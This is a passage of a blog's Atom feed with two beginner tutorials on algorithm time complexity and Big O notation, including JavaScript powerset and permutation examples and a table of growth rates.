<li>Finally, we can see that recursion runtime from step 2) is O(n) and also the non-recursion runtime is O(n). So, we have the <a href="#Case-2-The-runtime-of-the-work-done-in-the-recursion-and-outside-is-the-same"> case 2 </a>: <code><i>O(n<sup>log<sub>b</sub>a</sup> log(n))</i></code></li>
</ol>
<p><i>O(n<sup>log<sub>2</sub>2</sup> log(n))</i></p>
<p><i>O(n<sup>1</sup> log(n))</i></p>
<p><i>O(n log(n))</i> <strong>👈 this is running time of the merge sort</strong></p>
<h2 id="O-2-n-Exponential-time"><a href="#O-2-n-Exponential-time" class="headerlink" title="O(2^n) - Exponential time"></a>O(2^n) - Exponential time</h2><iframe width="560" height="315" src="https://www.youtube.com/embed/LDwZK4I6QDc?rel=0" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

<p>Exponential (base 2) running time means that the calculations performed by an algorithm double every time as the input grows.</p>
<p><strong>Examples of exponential runtime algorithms:</strong></p>
<ul>
<li>Power Set: finding all the subsets on a set.</li>
<li>Fibonacci.</li>
<li>Travelling salesman problem using dynamic programming.</li>
</ul>
<h3 id="Power-Set"><a href="#Power-Set" class="headerlink" title="Power Set"></a>Power Set</h3><p>To understand the power set, let’s imagine you are buying a pizza.
The store has many toppings that you can choose from, like pepperoni, mushrooms, bacon, and pineapple.
Let’s call each topping A, B, C, D. What are your choices? You can select no topping (you are on a diet ;), you can choose one topping, or two or three or all of them, and so on. The power set gives you all the possibilities (BTW, there 16 with four toppings, as you will see later)</p>
<p>Finding all distinct subsets of a given set. For instance, let’s do some examples to try to come up with an algorithm to solve it:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">powerset(<span class="string">&#x27;&#x27;</span>) <span class="comment">// =&gt;  [&#x27;&#x27;]</span></span><br><span class="line">powerset(<span class="string">&#x27;a&#x27;</span>) <span class="comment">// =&gt; [&#x27;&#x27;, &#x27;a&#x27;]</span></span><br><span class="line">powerset(<span class="string">&#x27;ab&#x27;</span>) <span class="comment">// =&gt; [&#x27;&#x27;, &#x27;a&#x27;, &#x27;b&#x27;, &#x27;ab&#x27;]</span></span><br></pre></td></tr></table></figure>

<p>Did you notice any pattern?</p>
<ul>
<li>The first returns an empty element.</li>
<li>The second case returns the empty element + the 1st element.</li>
<li>The 3rd case returns precisely the results of the 2nd case + the same array with the 2nd element <code>b</code> appended to it.</li>
</ul>
<p>What if you want to find the subsets of <code>abc</code>? Well, it would be precisely the subsets of ‘ab’ and again the subsets of <code>ab</code> with <code>c</code> appended at the end of each element.</p>
<p>As you noticed, every time the input gets longer, the output is twice as long as the previous one. Let’s code it up:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">powerset</span>(<span class="params">n = <span class="string">&#x27;&#x27;</span></span>) </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> array = <span class="built_in">Array</span>.from(n);</span><br><span class="line">  <span class="keyword">const</span> base = [<span class="string">&#x27;&#x27;</span>];</span><br><span class="line"></span><br><span class="line">  <span class="keyword">const</span> results = array.reduce(<span class="function">(<span class="params">previous, element</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> previousPlusElement = previous.map(<span class="function"><span class="params">el</span> =&gt;</span> &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="string">`<span class="subst">$&#123;el&#125;</span><span class="subst">$&#123;element&#125;</span>`</span>;</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="keyword">return</span> previous.concat(previousPlusElement);</span><br><span class="line">  &#125;, base);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> results;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>If we run that function for a couple of cases we will get:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">powerset(<span class="string">&#x27;&#x27;</span>) <span class="comment">// ...</span></span><br><span class="line"><span class="comment">// n = 0, f(n) = 1;</span></span><br><span class="line">powerset(<span class="string">&#x27;a&#x27;</span>) <span class="comment">// , a...</span></span><br><span class="line"><span class="comment">// n = 1, f(n) = 2;</span></span><br><span class="line">powerset(<span class="string">&#x27;ab&#x27;</span>) <span class="comment">// , a, b, ab...</span></span><br><span class="line"><span class="comment">// n = 2, f(n) = 4;</span></span><br><span class="line">powerset(<span class="string">&#x27;abc&#x27;</span>) <span class="comment">// , a, b, ab, c, ac, bc, abc...</span></span><br><span class="line"><span class="comment">// n = 3, f(n) = 8;</span></span><br><span class="line">powerset(<span class="string">&#x27;abcd&#x27;</span>) <span class="comment">// , a, b, ab, c, ac, bc, abc, d, ad, bd, abd, cd, acd, bcd...</span></span><br><span class="line"><span class="comment">// n = 4, f(n) = 16;</span></span><br><span class="line">powerset(<span class="string">&#x27;abcde&#x27;</span>) <span class="comment">// , a, b, ab, c, ac, bc, abc, d, ad, bd, abd, cd, acd, bcd...</span></span><br><span class="line"><span class="comment">// n = 5, f(n) = 32;</span></span><br></pre></td></tr></table></figure>

<p>As expected, if you plot <code>n</code> and <code>f(n)</code>, you will notice that it would be exactly like the function <code>2^n</code>. This algorithm has a running time of <code>O(2^n)</code>.</p>
<p>** Note:** You should avoid functions with exponential running times (if possible) since they don’t scale well. The time it takes to process the output doubles with every additional input size. But exponential running time is not the worst yet; others go even slower. Let’s see one more example in the next section.</p>
<h2 id="O-n-Factorial-time"><a href="#O-n-Factorial-time" class="headerlink" title="O(n!) - Factorial time"></a>O(n!) - Factorial time</h2><iframe width="560" height="315" src="https://www.youtube.com/embed/snBRcJlrnVw?rel=0" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

<p>Factorial is the multiplication of all positive integer numbers less than itself. For instance:</p>
<blockquote>
<p>5! = 5 x 4 x 3 x 2 x 1 = 120</p>
</blockquote>
<p>It grows pretty quickly:</p>
<blockquote>
<p>20! = 2,432,902,008,176,640,000</p>
</blockquote>
<p>As you might guess, you want to stay away, if possible, from algorithms that have this running time!</p>
<p><strong>Examples of O(n!) factorial runtime algorithms</strong>:</p>
<ul>
<li>Permutations of a string.</li>
<li>Solving the traveling salesman problem with a brute-force search</li>
</ul>
<p>Let’s solve the first example.</p>
<h3 id="Permutations"><a href="#Permutations" class="headerlink" title="Permutations"></a>Permutations</h3><p>Write a function that computes all the different words that can be formed given a string. E.g.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">getPermutations(<span class="string">&#x27;a&#x27;</span>) <span class="comment">// =&gt; [ &#x27;a&#x27;]</span></span><br><span class="line">getPermutations(<span class="string">&#x27;ab&#x27;</span>) <span class="comment">// =&gt;  [ &#x27;ab&#x27;, &#x27;ba&#x27;]</span></span><br><span class="line">getPermutations(<span class="string">&#x27;abc&#x27;</span>) <span class="comment">// =&gt; [ &#x27;abc&#x27;, &#x27;acb&#x27;, &#x27;bac&#x27;, &#x27;bca&#x27;, &#x27;cab&#x27;, &#x27;cba&#x27; ]</span></span><br></pre></td></tr></table></figure>

<p>How would you solve that?</p>
<p>A straightforward way will be to check if the string has a length of 1. If so, return that string since you can’t arrange it differently.</p>
<p>For strings with a length bigger than 1, we could use recursion to divide the problem into smaller problems until we get to the length 1 case. We can take out the first character and solve the problem for the remainder of the string until we have a length of 1.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getPermutations</span>(<span class="params">string, prefix = <span class="string">&#x27;&#x27;</span></span>) </span>&#123;</span><br><span class="line">  <span class="keyword">if</span>(string.length &lt;= <span class="number">1</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> [prefix + string];</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">Array</span>.from(string).reduce(<span class="function">(<span class="params">result, char, index</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> reminder = string.slice(<span class="number">0</span>, index) + string.slice(index+<span class="number">1</span>);</span><br><span class="line">    result = result.concat(getPermutations(reminder, prefix + char));</span><br><span class="line">    <span class="keyword">return</span> result;</span><br><span class="line">  &#125;, []);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>If print out the output, it would be something like this:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">getPermutations(<span class="string">&#x27;ab&#x27;</span>) <span class="comment">// ab, ba...</span></span><br><span class="line"><span class="comment">// n = 2, f(n) = 2;</span></span><br><span class="line">getPermutations(<span class="string">&#x27;abc&#x27;</span>) <span class="comment">// abc, acb, bac, bca, cab, cba...</span></span><br><span class="line"><span class="comment">// n = 3, f(n) = 6;</span></span><br><span class="line">getPermutations(<span class="string">&#x27;abcd&#x27;</span>) <span class="comment">// abcd, abdc, acbd, acdb, adbc, adcb, bacd...</span></span><br><span class="line"><span class="comment">// n = 4, f(n) = 24;</span></span><br><span class="line">getPermutations(<span class="string">&#x27;abcde&#x27;</span>) <span class="comment">// abcde, abced, abdce, abdec, abecd, abedc, acbde...</span></span><br><span class="line"><span class="comment">// n = 5, f(n) = 120;</span></span><br></pre></td></tr></table></figure>

<p>I tried with a string with a length of 10. It took around 8 seconds!</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">time node ./lib/permutations.js</span><br><span class="line"><span class="comment">## getPermutations(&#x27;abcdefghij&#x27;) // =&gt; abcdefghij, abcdefghji, abcdefgihj, abcdefgijh, abcdefgjhi, abcdefgjih, abcdefhgij...</span></span><br><span class="line"><span class="comment">## // n = 10, f(n) = 3,628,800;</span></span><br><span class="line"><span class="comment">## ./lib/permutations.js  8.06s user 0.63s system 101% cpu 8.562 total</span></span><br></pre></td></tr></table></figure>

<p>I have a little homework for you:</p>
<blockquote>
<p>Can you try with a permutation with 11 characters? ;) Comment below on what happened to your computer!</p>
</blockquote>
<h2 id="All-running-complexities-graphs"><a href="#All-running-complexities-graphs" class="headerlink" title="All running complexities graphs"></a>All running complexities graphs</h2><p>We explored the most common algorithms running times with one or two examples each! They should give you an idea of how to calculate your running times when developing your projects. Below you can find a chart with a graph of all the time complexities that we covered:</p>
<img src="/images/big-o-running-time-complexity.png" class="" title="Big o running time complexities">

<p>Mind your time complexity!</p>
<!-- Backlinks and references -->

<!-- https://www.reddit.com/r/compsci/comments/8hwozu/8_time_complexities_that_every_programmer_should/ -->
]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;Summary&quot;&gt;&lt;a href=&quot;#Summary&quot; class=&quot;headerlink&quot; title=&quot;Summary&quot;&gt;&lt;/a&gt;Summary&lt;/h2&gt;&lt;p&gt;Learn how to compare algorithms and develop code that scales! In this post, we cover 8 Big-O notations and provide an example or 2 for each. We are going to learn the top algorithm’s running time that every developer should be familiar with. Knowing these time complexities will help you to assess if your code will scale. Also, it’s handy to compare multiple solutions for the same problem. By the end of it, you would be able to eyeball different implementations and know which one will perform better without running the code!&lt;/p&gt;
    
    </summary>
    
      <category term="Coding" scheme="https://adrianmejia.com/categories/coding/"/>
    
      <category term="Data Structures and Algorithms (DSA)" scheme="https://adrianmejia.com/categories/coding/data-structures-and-algorithms-dsa/"/>
    
    
      <category term="algorithms" scheme="https://adrianmejia.com/tags/algorithms/"/>
    
      <category term="tutorial_algorithms" scheme="https://adrianmejia.com/tags/tutorial-algorithms/"/>
    
  </entry>
  
  <entry>
    <title>How you can change the world by learning Data Structures and Algorithms</title>
    <link href="https://adrianmejia.com/how-you-can-change-the-world-learning-data-structures-algorithms-free-online-course-tutorial/"/>
    <id>https://adrianmejia.com/how-you-can-change-the-world-learning-data-structures-algorithms-free-online-course-tutorial/</id>
    <published>2018-04-04T20:16:07.000Z</published>
    <updated>2019-04-05T20:12:00.000Z</updated>
    
    <content type="html"><![CDATA[<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.4/MathJax.js?config=TeX-MML-AM_CHTML" async></script>

<p>As a developer, you have the power to change the world! You can write programs that enable new technologies. For instance, develop software to find an earlier diagnosis of diseases. But that’s not the only way. You might do it indirectly by creating projects that make people more productive and help them free up time to do other amazing things. Whatever you do, it has the potential to impact the community who use it.</p>
<p>However, these accomplishments are only possible if we write software that is fast and can scale. Learning how to measure your code performance is the goal of this post.</p>
<a id="more"></a>

<hr>
<p>This post is part of a tutorial series:</p>
<p><strong>Learning Data Structures and Algorithms (DSA) for Beginners</strong></p>
<ol>
<li><p>Intro to Algorithm’s Time Complexity and Big O Notation <strong>👈 you are here</strong></p>
<!-- 1. [Intro to algorithm's time complexity and Big O notation](/blog/2018/04/04/how-you-can-change-the-world-learning-data-structures-algorithms-free-online-course-tutorial/) -->
</li>
<li><p><a href="/blog/2018/04/05/most-popular-algorithms-time-complexity-every-programmer-should-know-free-online-tutorial-course/">Eight-time complexities that every programmer should know</a></p>
<!-- 1. Eight time complexities that every programmer should know **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/04/28/Data-Structures-Time-Complexity-for-Beginners-Arrays-HashMaps-Linked-Lists-Stacks-Queues-tutorial/">Data Structures for Beginners: Arrays, HashMaps, and Lists</a></p>
<!-- 1. Data Structures for Beginners: Arrays, HashMaps, and Lists **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/05/14/Data-Structures-for-Beginners-Graphs-Time-Complexity-tutorial/">Graph Data Structures for Beginners</a></p>
<!-- 1. Graph Data Structures for Beginners **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/06/11/Data-Structures-for-Beginners-Trees-binary-search-tree-tutorial/">Trees Data Structures for Beginners</a></p>
<!-- 1. Trees Data Structures for Beginners **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/07/16/Self-balanced-Binary-Search-Trees-with-AVL-tree-Data-Structure-for-beginners/">Self-balanced Binary Search Trees</a></p>
<!-- 1. Self-balanced Binary Search Trees  **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/04/24/Analysis-of-Recursive-Algorithms/">Appendix I: Analysis of Recursive Algorithms</a></p>
<!-- 1. Appendix I: Analysis of Recursive Algorithms **👈 you are here** -->
</li>
</ol>
<hr>
<p>We will explore how you can measure your code performance using analysis of algorithms: <strong>time complexity</strong> and <strong>big O notation</strong>.</p>
<p>First, let’s see a real story to learn why this is important.</p>
<h2 id="An-algorithm-that-saved-millions-of-lives"><a href="#An-algorithm-that-saved-millions-of-lives" class="headerlink" title="An algorithm that saved millions of lives"></a>An algorithm that saved millions of lives</h2><p>During World War II, the Germans used <abbr title="AM broadcasting is a radio broadcasting technology, which employs amplitude modulation transmissions.">AM</abbr> radio signals to communicate with troops around Europe. Anybody with an AM frequency radio and some knowledge of Morse code could intercept the message. However, the information was encoded! All the countries that were under attack tried to decode it. Sometimes, they got lucky and could make sense of a couple of messages at the end of the day. Unfortunately, the Nazis changed the encoding every single day!</p>
<p>A brilliant mathematician called Alan Turing joined the British military to crack the German “Enigma” code. He knew they would never get ahead if they keep doing the calculations by pen and paper. So after many months of hard work, they built a machine. Unfortunately, the first version of the device took too long to decode a message! So, it was not very useful.</p>
<p>Alan’s team found out that every encrypted message ended with the same string: “Heil Hitler” Aha! After changing the algorithm, the machine was able to decode transmissions a lot faster! They used the info to finish the war quicker and save millions of lives!</p>
<p><em>The same machine that was going to get shut down as a failure became a live saver. Likewise, you can do way more with your computing resources when you write efficient code. That is what we are going to learn in this post series!</em></p>
<p>Another popular algorithm is <code>PageRank</code> developed in 1998 by Sergey Brin and Larry Page (Google founders). This algorithm was (and is) used by a Google search engine to make sense of trillions of web pages. Google was not the only search engine. However, since their algorithm returned better results, most of the competitors faded away. Today it powers most of 3 billion daily searches very quickly. That is the power of algorithms that scale! 🏋🏻‍</p>
<h2 id="So-why-should-you-learn-to-write-efficient-algorithms"><a href="#So-why-should-you-learn-to-write-efficient-algorithms" class="headerlink" title="So, why should you learn to write efficient algorithms?"></a>So, why should you learn to write efficient algorithms?</h2><p>There are many advantages; these are just some of them:</p>
<ul>
<li>You would become a much better software developer (and get better jobs/income).</li>
<li>Spend less time debugging, optimizing, and re-writing code.</li>
<li>Your software will run faster with the same hardware (cheaper to scale).</li>
<li>Your programs might be used to aid discoveries that save lives (maybe?).</li>
</ul>
<p>Without further ado, let’s step up our game!</p>
<h2 id="What-are-algorithms"><a href="#What-are-algorithms" class="headerlink" title="What are algorithms?"></a>What are algorithms?</h2><iframe width="560" height="315" src="https://www.youtube.com/embed/y0kt0BI5IZ0" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

<p>Algorithms (as you might know) are steps of how to do some task. For example, when you cook, you follow a <strong>recipe</strong> to prepare a dish. If you play a game, you are devising <strong>strategies</strong> to help you win. Likewise, algorithms in computers are a set of instructions used to solve a problem.</p>
<blockquote>
<p>Algorithms are instructions to perform a task</p>
</blockquote>
<p>There are “good” and “bad” algorithms. The good ones are fast; the bad ones are slow. Slow algorithms cost more money and make some calculations impossible in our lifespan!</p>
<p>We are going to explore the basic concepts of algorithms. Also, we are going to learn how to distinguish “fast” from “slow” ones. Even better, you will be able to “measure” your algorithms’ performance and improve them!</p>
<h2 id="How-to-improve-your-coding-skills"><a href="#How-to-improve-your-coding-skills" class="headerlink" title="How to improve your coding skills?"></a>How to improve your coding skills?</h2><p>The first step to improving something is to measure it.</p>
<blockquote><p>Measurement is the first step that leads to control and eventually to improvement. If you can’t measure something, you can’t understand it. If you can’t understand it, you can’t control it. If you can’t control it, you can’t improve it.</p>
<footer><strong>H. J. Harrington</strong></footer></blockquote>

<p>How do you do “measure” your code? Would you clock “how long” it takes to run? What if you are running the same program on a mobile device or a quantum computer? The same code will give you different results.</p>
<p>To answer these questions, we need to nail some concepts first, like <strong>time complexity</strong>!</p>
<h3 id="Time-complexity"><a href="#Time-complexity" class="headerlink" title="Time complexity"></a>Time complexity</h3><p>Time complexity (or <strong>running time</strong>) is the estimated time an algorithm takes to run. However, you do not measure time complexity in seconds, but as a <strong>function</strong> of the input.  (I know it’s weird but bear with me).</p>
<blockquote>
<p>The <strong>time complexity</strong> is not about timing how long the algorithm takes. Instead, <em>how many operations</em> are executed. The number of instructions executed by a program is affected by the input’s size and how their elements are arranged.</p>
</blockquote>
<p>Why is that the time complexity is expressed as a function of the input? Well, let’s say you want to sort an array of numbers. If the elements are already sorted, the program will perform fewer operations. On the contrary, if the items are in reverse order, it will require more time to get them sorted. The time a program takes to execute is directly related to the input size and its arrangement.</p>
<p>We can say for each algorithm have the following running times:</p>
<ul>
<li>Worst-case time complexity (e.g., input elements in reversed order)</li>
<li>Best-case time complexity (e.g., already sorted)</li>
<li>Average-case time complexity (e.g., elements in random order)</li>
</ul>
<p>We usually care more about the <strong>worst-case time complexity</strong> (We hope for the best but preparing for the <em>worst</em>).</p>
<h2 id="Calculating-time-complexity"><a href="#Calculating-time-complexity" class="headerlink" title="Calculating time complexity"></a>Calculating time complexity</h2><p>Here’s a code example of how you can calculate the time complexity: <em>Find the smallest number in an array</em>.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Get the smallest number on an array of numbers</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param <span class="type">&#123;Array&#125;</span> </span>n array of numbers</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getMin</span>(<span class="params">n</span>) </span>&#123;</span><br><span class="line marked">  <span class="keyword">const</span> array = <span class="built_in">Array</span>.from(n);</span><br><span class="line marked">  <span class="keyword">let</span> min;</span><br><span class="line"></span><br><span class="line">  array.forEach(<span class="function"><span class="params">element</span> =&gt;</span> &#123;</span><br><span class="line marked">    <span class="keyword">if</span>(min === <span class="literal">undefined</span> || element &lt; min) &#123;</span><br><span class="line marked">      min = element;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;);</span><br><span class="line marked">  <span class="keyword">return</span> min;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>We can represent <code>getMin</code> as a function of the size of the input <code>n</code> based on the number of operations it has to perform. For simplicity, let’s assume that each line of code takes the same amount of time in the CPU to execute. Let’s make the sum:</p>
<ul>
<li>Line 6: 1 operation</li>
<li>Line 7: 1 operation</li>
<li>Line 9-13: it is a loop that executes <code>n</code> times<ul>
<li>Line 10: 1 operation</li>
<li>Line 11: this one is tricky. It is inside a conditional. We will assume the worst case where the array is sorted in descending order. The condition (<code>if</code> block) will be executed each time. Thus, one operation</li>
</ul>
</li>
<li>Line 14: 1 operation</li>
</ul>
<p>All in all, we have <code>3</code> operations outside the loop and <code>2</code> inside the <code>forEach</code> block. Since the loop goes for the size of <code>n</code>, this leaves us with <code>2(n) + 3</code>.</p>
<p>However, this expression is somewhat too specific, and hard to compare algorithms with it. We are going to apply the <strong>asymptotic analysis</strong> to simplify this expression further.</p>
<h3 id="Asymptotic-analysis"><a href="#Asymptotic-analysis" class="headerlink" title="Asymptotic analysis"></a>Asymptotic analysis</h3><p>Asymptotic analysis is just evaluating functions as their value approximate to the infinite. In our previous example <code>2(n) + 3</code>, we can generalize it as <code>k(n) + c</code>. As the value of <code>n</code> grows, the value <code>c</code> is less and less significant, as you can see in the following table:</p>
<table>
<thead>
<tr>
<th>n (size)</th>
<th>operations</th>
<th>result</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td>2(1) + 3</td>
<td>5</td>
</tr>
<tr>
<td>10</td>
<td>2(10) + 3</td>
<td>23</td>
</tr>
<tr>
<td>100</td>
<td>2(100) + 3</td>
<td>203</td>
</tr>
<tr>
<td>1,000</td>
<td>2(1,000) + 3</td>
<td>2,003</td>
</tr>
<tr>
<td>10,000</td>
<td>2(10,000) + 3</td>
<td>20,003</td>
</tr>
</tbody></table>
<p>Believe it or not, the constant <code>k</code> wouldn’t make too much of a difference. Using this kind of asymptotic analysis, we take the higher-order element, in this case: <code>n</code>.</p>
<p>Let’s do another example so we can get this concept. Let’s say we have the following function: `3 n^2 + 2n + 20`. What would be the result of using the asymptotic analysis?</p>
<blockquote>
<p>`3 n^2 + 2n + 20` as `n` grows bigger and bigger; the term that will make the most difference is `n^2`.</p>
</blockquote>
<p>Going back to our example, <code>getMin</code>, we can say that this function has a time complexity of <code>n</code>. As you can see, we could approximate it as <code>2(n)</code> and drop the <code>+3</code> since it does not add too much value as `n` keep getting bigger.</p>
<p>We are interested in the big picture here, and we are going to use the asymptotic analysis to help us with that. With this framework, comparing algorithms is much more comfortable. We can compare running times with their most crucial term: `n^2` or `n` or `2^n`.</p>
<h3 id="Big-O-notation-and-Growth-rate-of-Functions"><a href="#Big-O-notation-and-Growth-rate-of-Functions" class="headerlink" title="Big-O notation and Growth rate of Functions"></a>Big-O notation and Growth rate of Functions</h3><p>The Big O notation combines what we learned in the last two sections about <strong>worst-case time complexity</strong> and <strong>asymptotic analysis</strong>.</p>
<blockquote>
<p>The letter `O` refers to the <strong>order</strong> of a function.</p>
</blockquote>
<p>The Big O notation is used to classify algorithms by their worst running time. Also known as the upper bound of the growth rate of a function.</p>
<p>In our previous example with <code>getMin</code> function, we can say it has a running time of <code>O(n)</code>. There are many different running times. Here are the most common that we are going to cover in the next post and their relationship with time:</p>
<p>Growth rates vs. <code>n</code> size:</p>
<div class="table--responsive">

<table>
<thead>
<tr>
<th>n</th>
<th>O(1)</th>
<th>O(log n)</th>
<th>O(n)</th>
<th>O(n log n)</th>
<th>O(n<sup>2</sup>)</th>
<th>O(2<sup>n</sup>)</th>
<th>O(n!)</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td class="green">&lt; 1 sec</td>
<td class="green">&lt; 1 sec</td>
<td class="green">&lt; 1 sec</td>
<td class="green">&lt; 1 sec</td>
<td class="green">&lt; 1 sec</td>
<td class="green">&lt; 1 sec</td>
<td class="green">&lt; 1 sec</td>
</tr>
<tr>
<td>10</td>
<td class="green">&lt; 1 sec</td>
<td class="green">&lt; 1 sec</td>
<td class="green">&lt; 1 sec</td>
<td class="green">&lt; 1 sec</td>
<td class="green">&lt; 1 sec</td>
<td class="green">&lt; 1 sec</td>
<td class="orange">4 sec</td>
</tr>
<tr>
<td>100</td>
<td class="green">&lt; 1 sec</td>
<td class="green">&lt; 1 sec</td>
<td class="green">&lt; 1 sec</td>
<td class="green">&lt; 1 sec</td>
<td class="green">&lt; 1 sec</td>
<td class="red">40170 trillion years</td>
<td class="red">&gt; vigintillion years</td>
</tr>
<tr>
<td>1,000</td>
<td class="green">&lt; 1 sec</td>
<td class="green">&lt; 1 sec</td>
<td class="green">&lt; 1 sec</td>
<td class="green">&lt; 1 sec</td>
<td class="green">&lt; 1 sec</td>
<td class="red">&gt; vigintillion years</td>
<td class="red">&gt; centillion years</td>
</tr>
<tr>
<td>10,000</td>
<td class="green">&lt; 1 sec</td>
<td class="green">&lt; 1 sec</td>
<td class="green">&lt; 1 sec</td>
<td class="green">&lt; 1 sec</td>
<td class="orange">2 min</td>
<td class="red">&gt; centillion years</td>
<td class="red">&gt; centillion years</td>
</tr>
<tr>
<td>100,000</td>
<td class="green">&lt; 1 sec</td>
<td class="green">&lt; 1 sec</td>
<td class="green">&lt; 1 sec</td>
<td class="orange">1 sec</td>
<td class="orange">3 hours</td>
<td class="red">&gt; centillion years</td>
<td class="red">&gt; centillion years</td>
</tr>
<tr>
<td>1,000,000</td>
<td class="green">&lt; 1 sec</td>
<td class="green">&lt; 1 sec</td>
<td class="orange">1 sec</td>
<td class="orange">20 sec</td>
<td class="orange">12 days</td>
<td class="red">&gt; centillion years</td>
<td class="red">&gt; centillion years</td>
</tr>
</tbody>
</table>

</div>

<figcaption class="figcaption">Assuming: 1 GHz CPU and that it can execute on average one instruction in 1 nanosecond (usually takes more time). Also, bear in mind that each line might be translated into dozens of CPU instructions depending on the programming language</figcaption>

<p>As you can see, some algorithms are very time-consuming. It is impossible to compute an input size as little as 100 even if we had a supercomputer!! Hardware does not scale as well as software.</p>
<p>In the next post, we will explore all of these time complexities with a code example or two!
Are you ready to become a super programmer and scale your code?! <img src="/images/superman_shield.svg" width="25" height="25" alt="superman shield" style="display:inline-block;"></p>
<p><strong>Continue with the next part 👉</strong> <a href="/blog/2018/04/05/most-popular-algorithms-time-complexity-every-programmer-should-know-free-online-tutorial-course/">Eight running times that every programmer should know</a></p>
<!--

Improvement ideas:

- https://www.reddit.com/r/compsci/comments/8elqsc/algorithms_tutorial_series_for_beginners/dxwb2n6/
Overall a good introduction. You could go into a bit more detail about why the constant is ignored. Perhaps a plot of a few linear functions next to a quadratic one illustrates that for different values of all the linear functions are the same compared to the quadratic function.
I like your table of runtimes. It gives a proper perspective about why this matters :)

https://news.ycombinator.com/item?id=16941645

Titles:
23 Algorithms tutorial series for beginners - https://www.reddit.com/r/compsci/comments/8elqsc/algorithms_tutorial_series_for_beginners/
0 How you can change the world by learning Data Structures and Algorithms -


-->
]]></content>
    
    <summary type="html">
    
      &lt;script type=&quot;text/javascript&quot; src=&quot;https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.4/MathJax.js?config=TeX-MML-AM_CHTML&quot; async&gt;&lt;/script&gt;

&lt;p&gt;As a developer, you have the power to change the world! You can write programs that enable new technologies. For instance, develop software to find an earlier diagnosis of diseases. But that’s not the only way. You might do it indirectly by creating projects that make people more productive and help them free up time to do other amazing things. Whatever you do, it has the potential to impact the community who use it.&lt;/p&gt;
&lt;p&gt;However, these accomplishments are only possible if we write software that is fast and can scale. Learning how to measure your code performance is the goal of this post.&lt;/p&gt;
    
    </summary>
    
      <category term="Coding" scheme="https://adrianmejia.com/categories/coding/"/>
    
      <category term="Data Structures and Algorithms (DSA)" scheme="https://adrianmejia.com/categories/coding/data-structures-and-algorithms-dsa/"/>
    
    
      <category term="algorithms" scheme="https://adrianmejia.com/tags/algorithms/"/>
    
      <category term="tutorial_algorithms" scheme="https://adrianmejia.com/tags/tutorial-algorithms/"/>
    
  </entry>
  
  <entry>
    <title>Overview of JavaScript ES6 features (a.k.a ECMAScript 6 and ES2015+)</title>
